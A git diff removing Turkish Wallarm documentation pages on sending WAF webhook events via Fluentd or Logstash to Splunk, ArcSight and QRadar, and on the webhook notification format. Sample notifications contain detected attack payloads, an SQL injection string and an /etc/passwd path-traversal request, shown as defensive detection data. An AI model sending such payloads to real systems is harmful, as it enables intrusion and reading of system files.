kurulumu hakkında daha ayrıntılı açıklama [resmi Splunk dokümantasyonunda](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector) mevcuttur. - -### Fluentd yapılandırması {#fluentd-configuration} - -Wallarm, günlükleri webhooks üzerinden ara veri toplayıcı Fluentd'e gönderdiğinden, Fluentd yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmesi -* HTTPS isteklerini kabul etmesi -* Genel bir URL'ye sahip olması -* Günlükleri Splunk Enterprise'a iletmesi; bu örnek, günlükleri iletmek için `splunk_hec` eklentisini kullanır - -Fluentd, `td-agent.conf` dosyasında yapılandırılır: - -* Gelen webhook işlemesi `source` yönergesinde yapılandırılmıştır: - * Trafik 9880 numaralı bağlantı noktasına gönderilir - * Fluentd yalnızca HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilen bir CA tarafından imzalanmış Fluentd TLS sertifikası `/etc/ssl/certs/fluentd.crt` dosyasında bulunur - * TLS sertifikasına ait özel anahtar `/etc/ssl/private/fluentd.key` dosyasında bulunur -* Günlüklerin Splunk'a iletilmesi ve günlük çıktısı `match` yönergesinde yapılandırılmıştır: - * Tüm olay günlükleri Fluentd'den kopyalanır ve [fluent-plugin-splunk-hec](https://github.com/splunk/fluent-plugin-splunk-hec) çıktı eklentisi aracılığıyla Splunk HTTP Event Controller'a iletililir - * Fluentd günlükleri ayrıca komut satırında JSON formatında yazdırılır (19‑22. satırlar). Bu ayar, olayların Fluentd üzerinden günlüğe kaydedildiğini doğrulamak için kullanılır - -```bash linenums="1" - - @type http # HTTP ve HTTPS trafiği için giriş eklentisi - port 9880 # gelen istekler için bağlantı noktası - # bağlantıların işlenmesi için yapılandırma - cert_path /etc/ssl/certs/fluentd.crt - private_key_path /etc/ssl/private/fluentd.key - - - - @type copy - - @type splunk_hec # günlükleri HTTP Event Controller üzerinden Splunk API'ye iletmek için çıkış eklentisi fluent-plugin-splunk-hec - hec_host 109.111.35.11 # Splunk ana makinesi - hec_port 8088 # Splunk API bağlantı noktası - hec_token f44b3179-91aa-44f5-a6f7-202265e10475 # HTTP Event Controller belirteci - - @type json # iletilecek günlüklerin biçimi - - - - @type stdout # Fluentd günlüklerini komut satırına yazdıran çıkış eklentisi - output_type json # komut satırına yazdırılan günlüklerin biçimi - - -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Fluentd dokümantasyonunda](https://docs.fluentd.org/configuration/config-file) mevcuttur. - -!!! info "Fluentd yapılandırmasını test etme" - Fluentd günlüklerinin oluşturulup Splunk'a iletildiğini kontrol etmek için Fluentd'e PUT veya POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://fluentd-example-domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk f44b3179-91aa-44f5-a6f7-202265e10475" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Fluentd günlükleri:** - ![Fluentd'deki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-curl-log.png) - - **Splunk günlükleri:** - ![Splunk'taki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-curl-log.png) - -### Fluentd entegrasyonunun yapılandırılması {#configuration-of-fluentd-integration} - ---8<-- "../include/integrations/webhook-examples/create-fluentd-webhook.md" - -![Fluentd ile webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-fluentd-integration.png) - -[Fluentd entegrasyonunun yapılandırması hakkında daha fazla bilgi](../fluentd.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Fluentd olayı aşağıdaki şekilde günlüğe kaydedecektir: - -![Fluentd'den Splunk'ta yeni kullanıcıya ait günlük](../../../../images/user-guides/settings/integrations/webhook-examples/fluentd/splunk-user-log.png) - -Splunk olaylarında aşağıdaki kayıt görüntülenecektir: - -![Fluentd'den Splunk'ta yeni kullanıcı kartı](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/fluentd-user.png) - -## Splunk Enterprise'de olayları bir kontrol panelinde düzenleme - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md deleted file mode 100644 index 16838be21d..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-arcsight-logger.md +++ /dev/null @@ -1,111 +0,0 @@ -# Logstash aracılığıyla Micro Focus ArcSight Logger - -Bu talimatlar, olayları ArcSight Logger sistemine iletmek için Wallarm'ın Logstash veri toplayıcıyla örnek entegrasyonunu sunar. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-scheme.png) - -!!! info "ArcSight ESM'in Enterprise sürümüyle entegrasyon" - Logstash'ten ArcSight ESM'in Enterprise sürümüne günlük iletimini yapılandırmak için, ArcSight tarafında Syslog Connector yapılandırılması ve ardından günlüklerin Logstash'ten konektör portuna iletilmesi önerilir. Konektörlerin daha ayrıntılı açıklaması için, lütfen [resmi ArcSight SmartConnector dokümantasyonundan](https://community.microfocus.com/t5/ArcSight-Connectors/ct-p/ConnectorsDocs) **SmartConnector User Guide** belgesini indirin. - -## Kullanılan kaynaklar - -* CentOS 7.8 üzerine kurulu, WEB URL'si `https://192.168.1.73:443` olan [ArcSight Logger 7.1](#arcsight-logger-configuration) -* Debian 11.x (bullseye) üzerine kurulu ve `https://logstash.example.domain.com` adresinden erişilebilir [Logstash 7.7.0](#logstash-configuration) -* [EU cloud](https://my.wallarm.com) içindeki Wallarm Console'a [Logstash entegrasyonunu yapılandırmak](#configuration-of-logstash-integration) için yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -ArcSight Logger ve Logstash servislerine ait bağlantılar örnek amaçlı verildiğinden yanıt vermezler. - -### ArcSight Logger yapılandırması - -ArcSight Logger'da `Wallarm Logstash logs` adlı günlük alıcısı aşağıdaki şekilde yapılandırılmıştır: - -* Günlükler UDP üzerinden alınır (`Type = UDP Receiver`) -* Dinleme portu `514`'tür -* Olaylar syslog ayrıştırıcısıyla ayrıştırılır -* Diğer varsayılan ayarlar - -![ArcSight Logger'da alıcının yapılandırılması](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-setup.png) - -Alıcı yapılandırmasına ilişkin daha ayrıntılı açıklama için, uygun sürümün **Logger Installation Guide** belgesini [resmi ArcSight Logger dokümantasyonundan](https://community.microfocus.com/t5/Logger-Documentation/ct-p/LoggerDoc) indirin. - -### Logstash yapılandırması - -Wallarm günlükleri webhooks aracılığıyla Logstash ara veri toplayıcısına gönderdiğinden, Logstash yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmelidir -* HTTPS isteklerini kabul etmelidir -* Genel erişilebilir bir URL'ye sahip olmalıdır -* Günlükleri ArcSight Logger'a iletmelidir; bu örnekte iletim için `syslog` eklentisi kullanılır - -Logstash, `logstash-sample.conf` dosyasında yapılandırılmıştır: - -* Gelen webhook işlemesi `input` bölümünde yapılandırılmıştır: - * Trafik 5044 portuna yönlendirilir - * Logstash yalnızca HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilen bir CA tarafından imzalanmış Logstash TLS sertifikası `/etc/server.crt` dosyasında bulunur - * TLS sertifikasına ait özel anahtar `/etc/server.key` dosyasında bulunur -* Günlüklerin ArcSight Logger'a iletilmesi ve günlük çıktısı `output` bölümünde yapılandırılmıştır: - * Tüm olay günlükleri Logstash'ten ArcSight Logger'a `https://192.168.1.73:514` IP adresine iletilir - * Günlükler Logstash'ten ArcSight Logger'a [Syslog](https://en.wikipedia.org/wiki/Syslog) standardına göre JSON formatında iletilir - * ArcSight Logger ile bağlantı UDP üzerinden kurulur - * Logstash günlükleri ayrıca komut satırına yazdırılır (kodun 15. satırı). Bu ayar, olayların Logstash üzerinden günlüğe kaydedildiğini doğrulamak için kullanılır - -```bash linenums="1" -input { - http { # HTTP ve HTTPS trafiği için input eklentisi - port => 5044 # gelen istekler için port - ssl => true # HTTPS trafiğinin işlenmesi - ssl_certificate => "/etc/server.crt" # Logstash TLS sertifikası - ssl_key => "/etc/server.key" # TLS sertifikası için özel anahtar - } -} -output { - syslog { # Logstash'ten Syslog üzerinden günlük iletimi için output eklentisi - host => "192.168.1.73" # günlüklerin iletileceği IP adresi - port => "514" # günlüklerin iletileceği port - protocol => "udp" # bağlantı protokolü - codec => json # iletilen günlüklerin biçimi - } - stdout {} # Logstash günlüklerini komut satırına yazdırmak için output eklentisi -} -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Logstash dokümantasyonunda](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) mevcuttur. - -!!! info "Logstash yapılandırmasının test edilmesi" - Logstash günlüklerinin oluşturulduğunu ve ArcSight Logger'a iletildiğini kontrol etmek için Logstash'e bir POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstash günlükleri:** - ![Logstash günlükleri](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-curl-log.png) - - **ArcSight Logger'daki olay:** - ![ArcSight Logger olayı](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-curl-log.png) - -### Logstash entegrasyonunun yapılandırılması - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![Logstash ile Webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstash entegrasyonunun yapılandırılması hakkında daha fazla bilgi](../logstash.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstash olayı aşağıdaki şekilde günlüğe kaydedecektir: - -![Logstash'ten ArcSight Logger'a yeni kullanıcıya ilişkin günlük](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/arcsight-logger-user-log.png) - -ArcSight Logger olaylarında aşağıdaki kayıt görüntülenecektir: - -![Logstash'ten ArcSight Logger'a yeni kullanıcı kartı](../../../../images/user-guides/settings/integrations/webhook-examples/arcsight-logger/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md deleted file mode 100644 index d8ed1ddcaa..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-qradar.md +++ /dev/null @@ -1,113 +0,0 @@ -# Logstash aracılığıyla IBM QRadar - -Bu talimatlar, Wallarm'ın Logstash veri toplayıcısı ile entegrasyonunun bir örneğini sunar; olaylar daha sonra QRadar SIEM sistemine iletilir. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -## Kullanılan kaynaklar - -* [Logstash 7.7.0](#logstash-configuration) Debian 11.x (bullseye) üzerine kuruludur ve `https://logstash.example.domain.com` adresinden erişilebilir -* [QRadar V7.3.3](#qradar-configuration-optional) Linux Red Hat üzerinde kuruludur ve `https://109.111.35.11:514` IP adresiyle erişilebilir -* [Logstash entegrasyonunu yapılandırmak](#configuration-of-logstash-integration) için [EU cloud](https://my.wallarm.com) içindeki Wallarm Console'a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -Logstash ve QRadar servislerine ait bağlantılar örnek olarak verildiğinden yanıt vermezler. - -### Logstash yapılandırması - -Wallarm günlükleri webhooks aracılığıyla ara veri toplayıcı olan Logstash'e gönderdiğinden, Logstash yapılandırmasının aşağıdaki gereksinimleri karşılaması gerekir: - -* POST veya PUT isteklerini kabul etsin -* HTTPS isteklerini kabul etsin -* Genel erişilebilir bir URL'ye sahip olsun -* Günlükleri IBM QRadar'a iletsin; bu örnekte iletim için `syslog` eklentisi kullanılır - -Logstash, `logstash-sample.conf` dosyasında yapılandırılmıştır: - -* Gelen webhook işleme `input` bölümünde yapılandırılır: - * Trafik 5044 numaralı porta gönderilir - * Logstash yalnızca HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilen bir CA tarafından imzalanmış Logstash TLS sertifikası `/etc/server.crt` dosyasındadır - * TLS sertifikasının özel anahtarı `/etc/server.key` dosyasındadır -* QRadar'a günlük iletimi ve günlük çıktısı `output` bölümünde yapılandırılır: - * Tüm olay günlükleri Logstash'tan QRadar'a `https://109.111.35.11:514` IP adresine iletilir - * Günlükler [Syslog](https://en.wikipedia.org/wiki/Syslog) standardına uygun olarak JSON biçiminde Logstash'tan QRadar'a iletilir - * QRadar ile bağlantı TCP üzerinden kurulur - * Ayrıca Logstash günlükleri komut satırına yazdırılır (kodun 15. satırı). Bu ayar, olayların Logstash üzerinden günlüğe kaydedildiğini doğrulamak için kullanılır - -```bash linenums="1" -input { - http { # HTTP ve HTTPS trafiği için input eklentisi - port => 5044 # gelen istekler için port - ssl => true # HTTPS trafiği işleme - ssl_certificate => "/etc/server.crt" # Logstash TLS sertifikası - ssl_key => "/etc/server.key" # TLS sertifikası için özel anahtar - } -} -output { - syslog { # Logstash'tan Syslog ile günlük iletimi için output eklentisi - host => "109.111.35.11" # günlüklerin iletileceği IP adresi - port => "514" # günlüklerin iletileceği port - protocol => "tcp" # bağlantı protokolü - codec => json # iletilen günlüklerin biçimi - } - stdout {} # Logstash günlüklerini komut satırına yazdırmak için output eklentisi -} -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Logstash belgelerinde](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) mevcuttur. - -!!! info "Logstash yapılandırmasını test etme" - Logstash günlüklerinin oluşturulup QRadar'a iletildiğini doğrulamak için Logstash'e POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstash günlükleri:** - ![Logstash'taki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-curl-log.png) - - **QRadar günlükleri:** - ![QRadar'daki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log.png) - - **QRadar günlük yükü:** - ![QRadar'daki günlükler](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-curl-log-payload.png) - -### QRadar yapılandırması (isteğe bağlı) - -QRadar'da günlük kaynağı yapılandırılır. Bu, QRadar'daki tüm günlükler arasında Logstash günlüklerini kolayca bulmaya yardımcı olur ve ayrıca ileride günlük filtreleme için de kullanılabilir. Günlük kaynağı şu şekilde yapılandırılır: - -* **Günlük Kaynağı Adı**: `Logstash` -* **Günlük Kaynağı Açıklaması**: `Logstash'tan günlükler` -* **Günlük Kaynağı Türü**: Syslog standardı ile kullanılan gelen günlük ayrıştırıcısı türü `Universal LEEF` -* **Protokol Yapılandırması**: günlük iletim standardı `Syslog` -* **Günlük Kaynağı Tanımlayıcısı**: Logstash IP adresi -* Diğer varsayılan ayarlar - -QRadar günlük kaynağı kurulumunun daha ayrıntılı açıklaması [resmi IBM belgelerinde](https://www.ibm.com/support/knowledgecenter/en/SS42VS_DSM/com.ibm.dsm.doc/b_dsm_guide.pdf?origURL=SS42VS_DSM/b_dsm_guide.pdf) mevcuttur. - -![Logstash için QRadar günlük kaynağı kurulumu](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-setup.png) - -### Logstash entegrasyonunun yapılandırılması - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![Logstash ile Webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstash entegrasyonunun yapılandırması hakkında daha fazla ayrıntı](../logstash.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstash olayı aşağıdaki gibi günlüğe kaydedecektir: - -![Logstash'tan QRadar'da yeni kullanıcıyla ilgili günlük](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-user-log.png) - -QRadar günlük yükünde aşağıdaki JSON biçimli veriler görüntülenecektir: - -![Logstash'tan QRadar'da yeni kullanıcı kartı](../../../../images/user-guides/settings/integrations/webhook-examples/qradar/logstash-user.png) \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md b/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md deleted file mode 100644 index 98850cee13..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook-examples/logstash-splunk.md +++ /dev/null @@ -1,110 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Logstash üzerinden Splunk Enterprise - -Bu talimatlar, Wallarm’ın Logstash veri toplayıcı ile entegrasyonuna ilişkin bir örnek sunar; olayların Splunk SIEM sistemine iletilmesini sağlar. - ---8<-- "../include/integrations/webhook-examples/overview.md" - -![Webhook akışı](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-scheme.png) - -## Kullanılan kaynaklar - -* [Splunk Enterprise](#splunk-enterprise-configuration) WEB URL `https://109.111.35.11:8000` ve API URL `https://109.111.35.11:8088` ile -* Debian 11.x (bullseye) üzerine kurulu ve `https://logstash.example.domain.com` üzerinden erişilebilen [Logstash 7.7.0](#logstash-configuration) -* [Logstash entegrasyonunu yapılandırmak](#configuration-of-logstash-integration) için [EU cloud](https://my.wallarm.com) içindeki Wallarm Console’a yönetici erişimi - ---8<-- "../include/cloud-ip-by-request.md" - -Splunk Enterprise ve Logstash servislerine ait bağlantılar örnek olarak verildiğinden yanıt vermezler. - -### Splunk Enterprise yapılandırması {#splunk-enterprise-configuration} - -Logstash günlükleri, `Wallarm Logstash logs` adı ve diğer varsayılan ayarlarla Splunk HTTP Event Controller’a gönderilir: - -![HTTP Event Collector yapılandırması](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-setup.png) - -HTTP Event Controller’a erişmek için oluşturulan `93eaeba4-97a9-46c7-abf3-4e0c545fa5cb` jetonu kullanılacaktır. - -Splunk HTTP Event Controller kurulumunun daha ayrıntılı açıklaması [resmi Splunk dokümantasyonunda](https://docs.splunk.com/Documentation/Splunk/8.0.5/Data/UsetheHTTPEventCollector) mevcuttur. - -### Logstash yapılandırması {#logstash-configuration} - -Wallarm, günlükleri webhooks üzerinden ara veri toplayıcı olan Logstash’e gönderdiğinden Logstash yapılandırması aşağıdaki gereksinimleri karşılamalıdır: - -* POST veya PUT isteklerini kabul etmek -* HTTPS isteklerini kabul etmek -* Genel bir URL’ye sahip olmak -* Günlükleri Splunk Enterprise’a iletmek; bu örnekte günlükleri iletmek için `http` eklentisi kullanılmaktadır - -Logstash, `logstash-sample.conf` dosyasında yapılandırılmıştır: - -* Gelen webhook işleme `input` bölümünde yapılandırılmıştır: - * Trafik 5044 portuna gönderilir - * Logstash sadece HTTPS bağlantılarını kabul edecek şekilde yapılandırılmıştır - * Genel olarak güvenilen bir CA tarafından imzalanmış Logstash TLS sertifikası `/etc/server.crt` dosyasında bulunmaktadır - * TLS sertifikasının özel anahtarı `/etc/server.key` dosyasında bulunmaktadır -* Splunk’a iletim ve günlük çıktılaması `output` bölümünde yapılandırılmıştır: - * Günlükler Logstash’ten Splunk’a JSON formatında iletilir - * Tüm olay günlükleri Logstash’ten Splunk API uç noktası `https://109.111.35.11:8088/services/collector/raw` adresine POST istekleriyle iletilir. İstekleri yetkilendirmek için HTTPS Event Collector jetonu kullanılır - * Logstash günlükleri ayrıca komut satırına yazdırılır (15. kod satırı). Bu ayar, olayların Logstash üzerinden günlüğe yazıldığını doğrulamak için kullanılır - -```bash linenums="1" -input { - http { # HTTP ve HTTPS trafiği için input eklentisi - port => 5044 # gelen istekler için port - ssl => true # HTTPS trafiğinin işlenmesi - ssl_certificate => "/etc/server.crt" # Logstash TLS sertifikası - ssl_key => "/etc/server.key" # TLS sertifikası için özel anahtar - } -} -output { - http { # Logstash'ten HTTP/HTTPS protokolü ile günlükleri iletmek için output eklentisi - format => "json" # iletilen günlüklerin formatı - http_method => "post" # günlükleri iletmek için kullanılan HTTP yöntemi - url => "https://109.111.35.11:8088/services/collector/raw" # günlüklerin iletileceği uç nokta - headers => ["Authorization", "Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb"] # istekleri yetkilendirmek için HTTP başlıkları - } - stdout {} # Logstash günlüklerini komut satırına yazdırmak için output eklentisi -} -``` - -Yapılandırma dosyalarının daha ayrıntılı açıklaması [resmi Logstash dokümantasyonunda](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html) mevcuttur. - -!!! info "Logstash yapılandırmasını test etme" - Logstash günlüklerinin oluşturulup Splunk’a iletildiğini kontrol etmek için Logstash’e POST isteği gönderilebilir. - - **İstek örneği:** - ```curl - curl -X POST 'https://logstash.example.domain.com' -H "Content-Type: application/json" -H "Authorization: Splunk 93eaeba4-97a9-46c7-abf3-4e0c545fa5cb" -d '{"key1":"value1", "key2":"value2"}' - ``` - - **Logstash günlükleri:** - ![Logstash günlükleri](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-curl-log.png) - - **Splunk olayı:** - ![Splunk olayları](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-curl-log.png) - -### Logstash entegrasyonunun yapılandırılması {#configuration-of-logstash-integration} - ---8<-- "../include/integrations/webhook-examples/create-logstash-webhook.md" - -![Logstash ile Webhook entegrasyonu](../../../../images/user-guides/settings/integrations/add-logstash-integration.png) - -[Logstash entegrasyonunun yapılandırması hakkında daha fazla bilgi](../logstash.md) - -## Örnek test - ---8<-- "../include/integrations/webhook-examples/send-test-webhook.md" - -Logstash olayı aşağıdaki gibi günlüğe yazacaktır: - -![Logstash'tan Splunk'ta yeni kullanıcıya ilişkin günlük](../../../../images/user-guides/settings/integrations/webhook-examples/logstash/splunk-user-log.png) - -Splunk olaylarında aşağıdaki kayıt görüntülenecektir: - -![Logstash'tan Splunk'ta yeni kullanıcı kartı](../../../../images/user-guides/settings/integrations/webhook-examples/splunk/logstash-user.png) - -## Olayları bir panoda düzenleme - ---8<-- "../include/integrations/application-for-splunk.md" \ No newline at end of file diff --git a/docs/latest-tr/user-guides/settings/integrations/webhook.md b/docs/latest-tr/user-guides/settings/integrations/webhook.md deleted file mode 100644 index 0580be487e..0000000000 --- a/docs/latest-tr/user-guides/settings/integrations/webhook.md +++ /dev/null @@ -1,260 +0,0 @@ -# Webhook - -HTTPS protokolü üzerinden gelen webhook’ları kabul eden herhangi bir sisteme anlık bildirimler göndermesi için Wallarm’ı yapılandırabilirsiniz. - -## Bildirim formatı - -Bildirimler, entegrasyon kurulumu sırasında seçiminize bağlı olarak JSON Dizisi veya Yeni Satırla Ayrılmış JSON (NDJSON) formatında gönderilir. JSON nesneleri kümesi, bildirimin gönderildiği olaya bağlıdır. Örneğin: - -* Hit tespit edildi - - === "JSON Dizisi" - ```json - [ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 20.714285714285715, - "method": "GET", - "path": "/", - "payloads": [ - "1' select version();" - ], - "point": [ - "get", - "id" - ], - "probability": 20.714285714285715, - "remote_country": null, - "remote_port": 41253, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519823, - "create_time": 1703519826, - "response_len": 345, - "response_status": 404, - "response_time": 359, - "stamps": [ - 7965 - ], - "regex": [], - "stamps_hash": 271168947, - "regex_hash": -2147483648, - "type": "sqli", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "rest", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 1.0357142857142858, - "parameter": "GET_id_value", - "applications": [ - "default" - ] - } - } - }, - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "Test Company", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "example.com", - "heur_distance": 2.5, - "method": "GET", - "path": "/etc/passwd", - "payloads": [ - "/etc/passwd" - ], - "point": [ - "uri" - ], - "probability": 2.5, - "remote_country": null, - "remote_port": 41254, - "remote_addr4": "8.8.8.8", - "remote_addr6": null, - "datacenter": "unknown", - "tor": "none", - "request_time": 1703519826, - "create_time": 1703519829, - "response_len": 345, - "response_status": 404, - "response_time": 339, - "stamps": [ - 2907 - ], - "regex": [], - "stamps_hash": -1063984326, - "regex_hash": -2147483648, - "type": "ptrav", - "block_status": "monitored", - "brute_counter": "b:1111:xxxxxxxxxxxxxxxx", - "final_wallarm_mode": "monitoring", - "libproton_version": "4.8.0", - "lom_id": 932, - "protocol": "none", - "proxy_type": null, - "request_id": "xxxxxxxxxxxxxxxx", - "wallarm_mode": null, - "id": [ - "hits_production_1111_202312_v_1", - "xxxxxxxxxxxxxxxx" - ], - "object_type": "hit", - "anomaly": 0.22727272727272727, - "parameter": "URI_value", - "applications": [ - "default" - ] - } - } - } - ] - ``` - === "Yeni Satırla Ayrılmış JSON (NDJSON)" - ```json - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":20.714285714285715,"method":"GET","path":"/","payloads":["1' select version();"],"point":["get","id"],"probability":20.714285714285715,"remote_country":null,"remote_port":41253,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519823,"create_time":1703519826,"response_len":345,"response_status":404,"response_time":359,"stamps":[7965],"regex":[],"stamps_hash":271168947,"regex_hash":-2147483648,"type":"sqli","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"rest","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":1.0357142857142858,"parameter":"GET_id_value","applications":["default"]}} - {"summary":"[Wallarm] New hit detected","details":{"client_name":"Test Company","cloud":"EU","notification_type":"new_hits","hit":{"domain":"example.com","heur_distance":2.5,"method":"GET","path":"/etc/passwd","payloads":["/etc/passwd"],"point":["uri"],"probability":2.5,"remote_country":null,"remote_port":41254,"remote_addr4":"8.8.8.8","remote_addr6":null,"datacenter":"unknown","tor":"none","request_time":1703519826,"create_time":1703519829,"response_len":345,"response_status":404,"response_time":339,"stamps":[2907],"regex":[],"stamps_hash":-1063984326,"regex_hash":-2147483648,"type":"ptrav","block_status":"monitored","brute_counter":"b:1111:xxxxxxxxxxxxxxxx","final_wallarm_mode":"monitoring","libproton_version":"4.8.0","lom_id":932,"protocol":"none","proxy_type":null,"request_id":"xxxxxxxxxxxxxxxx","wallarm_mode":null,"id":["hits_production_1111_202312_v_1","xxxxxxxxxxxxxxxx"],"object_type":"hit","anomaly":0.22727272727272727,"parameter":"URI_value","applications":["default"]}} - ``` -* Zafiyet tespit edildi - - === "JSON Dizisi" - ```json - [ - { - summary:"[Wallarm] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - === "Yeni Satırla Ayrılmış JSON (NDJSON)" - ```json - {"summary":"[Wallarm] New vulnerability detected","description":"Notification type: vuln\nNew vulnerability was detected in your system.\nID: \nTitle: Test\nDomain: example.com\nPath: \nMethod: \nDiscovered by: \nParameter: \nType: Info\nThreat: Medium\nMore details: https://us1.my.wallarm.com/object/555\nClient: TestCompany\nCloud: US","details":{"client_name":"TestCompany","cloud":"US","notification_type":"vuln","vuln_link":"https://us1.my.wallarm.com/object/555","vuln":{"domain":"example.com","id":null,"method":null,"parameter":null,"path":null,"title":"Test","discovered_by":null,"threat":"Medium","type":"Info"}}} - ``` - -## Entegrasyonu yapılandırma - -1. Wallarm UI → Integrations bölümünü açın. -1. Webhook bloğunu tıklayın veya Add integration düğmesine tıklayıp Webhook seçin. -1. Bir entegrasyon adı girin. -1. Hedef Webhook URL’sini girin. -1. Gerekirse gelişmiş ayarları yapılandırın: - - --8<-- "../include/integrations/webhook-advanced-settings.md" - - ![Gelişmiş ayarlar örneği](../../../images/user-guides/settings/integrations/additional-webhook-settings.png) -1. Bildirimleri tetikleyecek olay türlerini seçin. - - ![Webhook entegrasyonu](../../../images/user-guides/settings/integrations/add-webhook-integration.png) - - Kullanılabilir olaylar hakkında ayrıntılar: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. Yapılandırmanın doğruluğunu, Wallarm Cloud erişilebilirliğini ve bildirim formatını kontrol etmek için Test integration’ı tıklayın. Test bildirimleri, Yeni Satırla Ayrılmış JSON (NDJSON) seçilmiş olsa bile her zaman JSON Dizisi formatında gönderilir. -1. Add integration’ı tıklayın. - 